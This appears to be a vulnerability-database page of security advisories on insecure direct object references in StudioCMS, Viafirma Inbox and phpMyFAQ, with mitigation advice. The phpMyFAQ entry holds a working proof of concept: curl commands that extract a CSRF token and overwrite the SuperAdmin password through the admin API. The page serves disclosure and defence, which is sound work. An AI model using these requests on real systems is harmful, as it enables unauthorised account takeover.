based on the caller\u0027s role, not on the request query parameter, and reuse the same privilege rule as `getUser`.\n\nExample fix:\n\n```ts\nconst loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);\n\ndata = data.filter((candidate) =\u003e {\n    const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank);\n    return loggedInUserRankIndex \u003e candidateRankIndex;\n});\n\nif (rank) {\n    data = data.filter((candidate) =\u003e candidate.rank === rank);\n}\n```\n\nAt minimum, replace:\n\n```ts\nif (rank !== \u0027owner\u0027) {\n    data = data.filter((user) =\u003e user.rank !== \u0027owner\u0027);\n}\n```\n\nwith a check tied to `user.rank` rather than the query parameter.",
  "id": "GHSA-xvf4-ch4q-2m24",
  "modified": "2026-03-18T21:51:20Z",
  "published": "2026-03-16T16:37:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-xvf4-ch4q-2m24"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/commit/aebe8bcb3618bb07c6753e3f5c982c1fe6adea64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withstudiocms/studiocms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/releases/tag/studiocms@0.4.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StudioCMS REST getUsers Exposes Owner Account Records to Admin Tokens"
}

GHSA-XVH8-9H96-57R8

Vulnerability from github – Published: 2026-01-12 15:30 – Updated: 2026-01-27 21:31
VLAI
Details

IDOR vulnerability has been found in Viafirma Inbox v4.5.13 that allows any authenticated user without privileges in the application to list all users, access and modify their data. This allows the user's email addresses to be modified and, subsequently, using the password recovery functionality to access the application by impersonating any user, including those with administrative permissions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-41077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-12T15:16:03Z",
    "severity": "HIGH"
  },
  "details": "IDOR vulnerability has been found in Viafirma Inbox v4.5.13 that allows any authenticated user without privileges in the application to list all users, access and modify their data. This allows the user\u0027s email addresses to be modified and, subsequently, using the password recovery functionality to access the application by impersonating any user, including those with administrative permissions.",
  "id": "GHSA-xvh8-9h96-57r8",
  "modified": "2026-01-27T21:31:39Z",
  "published": "2026-01-12T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41077"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-viafirma-products"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XVP4-PHQJ-CJR3

Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:19
VLAI
Summary
phpMyFAQ: IDOR Account Takeover
Details

Summary

An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:

[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]

public function overwritePassword(Request $request): JsonResponse
{
    $this->userHasUserPermission();  // Only checks if user has USER_EDIT permission
    $currentUser = CurrentUser::getCurrentUser($this->configuration);
    $data = json_decode($request->getContent());
    $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT);  // User-controlled!
    $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
    $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
    $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
    if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
        return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
    }
    // NO check that $userId belongs to a user the admin should manage
    // NO check that target user has lower or equal privileges
    // Can overwrite password for ANY user, including SuperAdmin (userId=1)
    $currentUser->getUserById((int) $userId, allowBlockedUsers: true);
    $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
    if (hash_equals($newPassword, $retypedPassword)) {
        if (!$currentUser->changePassword($newPassword)) {
            return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
        }
        $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
        return $this->json(['success' => ...], Response::HTTP_OK);
    }
}

Root Causes:

  1. No verification that the requesting admin has permission to modify the target user's password
  2. No check that the target user has equal or lower privilege level
  3. The userId is taken directly from the request body without authorization context
  4. No multi-factor confirmation for privilege-escalating password changes

PoC

Prerequisites: Authenticated admin session with USER_EDIT permission

Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).

Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:

curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'

Step 3 - Change SuperAdmin Password:

curl -X PUT -H "Content-Type: application/json" \
  -b "PHPSESSID=admin_session" \
  -d '{
    "userId": 1,
    "csrf": "admin_csrf_token_value",
    "newPassword": "NewSuperAdminP@ss123!",
    "passwordRepeat": "NewSuperAdminP@ss123!"
  }' \
  http://target/admin/api/user/overwrite-password

Response: {"success":"The password was successfully changed."}

Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.

Who is Impacted:

  • Organizations with multiple admin users where not all should have SuperAdmin access
  • Any phpMyFAQ instance where privilege separation is configured
  • Multi-tenant environments where users should only manage their own accounts

Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission

Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-269",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:46:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ\u0027s Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user\u0027s ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: \u0027user/overwrite-password\u0027, name: \u0027admin.api.user.overwrite-password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n    $this-\u003euserHasUserPermission();  // Only checks if user has USER_EDIT permission\n    $currentUser = CurrentUser::getCurrentUser($this-\u003econfiguration);\n    $data = json_decode($request-\u003egetContent());\n    $userId = Filter::filterVar($data-\u003euserId, FILTER_VALIDATE_INT);  // User-controlled!\n    $csrfToken = Filter::filterVar($data-\u003ecsrf, FILTER_SANITIZE_SPECIAL_CHARS);\n    $newPassword = Filter::filterVar($data-\u003enewPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n    $retypedPassword = Filter::filterVar($data-\u003epasswordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n    if (!Token::getInstance($this-\u003esession)-\u003everifyToken(page: \u0027overwrite-password\u0027, requestToken: $csrfToken)) {\n        return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_UNAUTHORIZED);\n    }\n    // NO check that $userId belongs to a user the admin should manage\n    // NO check that target user has lower or equal privileges\n    // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n    $currentUser-\u003egetUserById((int) $userId, allowBlockedUsers: true);\n    $authSource-\u003egetEncryptionContainer($currentUser-\u003egetAuthData(key: \u0027encType\u0027));\n    if (hash_equals($newPassword, $retypedPassword)) {\n        if (!$currentUser-\u003echangePassword($newPassword)) {\n            return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_BAD_REQUEST);\n        }\n        $this-\u003eadminLog-\u003elog($this-\u003ecurrentUser, AdminLogType::USER_CHANGE_PASSWORD-\u003evalue . \u0027:\u0027 . $userId);\n        return $this-\u003ejson([\u0027success\u0027 =\u003e ...], Response::HTTP_OK);\n    }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user\u0027s password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP \u0027pmf-csrf-token.*?value=\"\\K[^\"]+\u0027\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -b \"PHPSESSID=admin_session\" \\\n  -d \u0027{\n    \"userId\": 1,\n    \"csrf\": \"admin_csrf_token_value\",\n    \"newPassword\": \"NewSuperAdminP@ss123!\",\n    \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n  }\u0027 \\\n  http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
  "id": "GHSA-xvp4-phqj-cjr3",
  "modified": "2026-05-28T14:19:40Z",
  "published": "2026-05-20T15:46:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: IDOR Account Takeover "
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.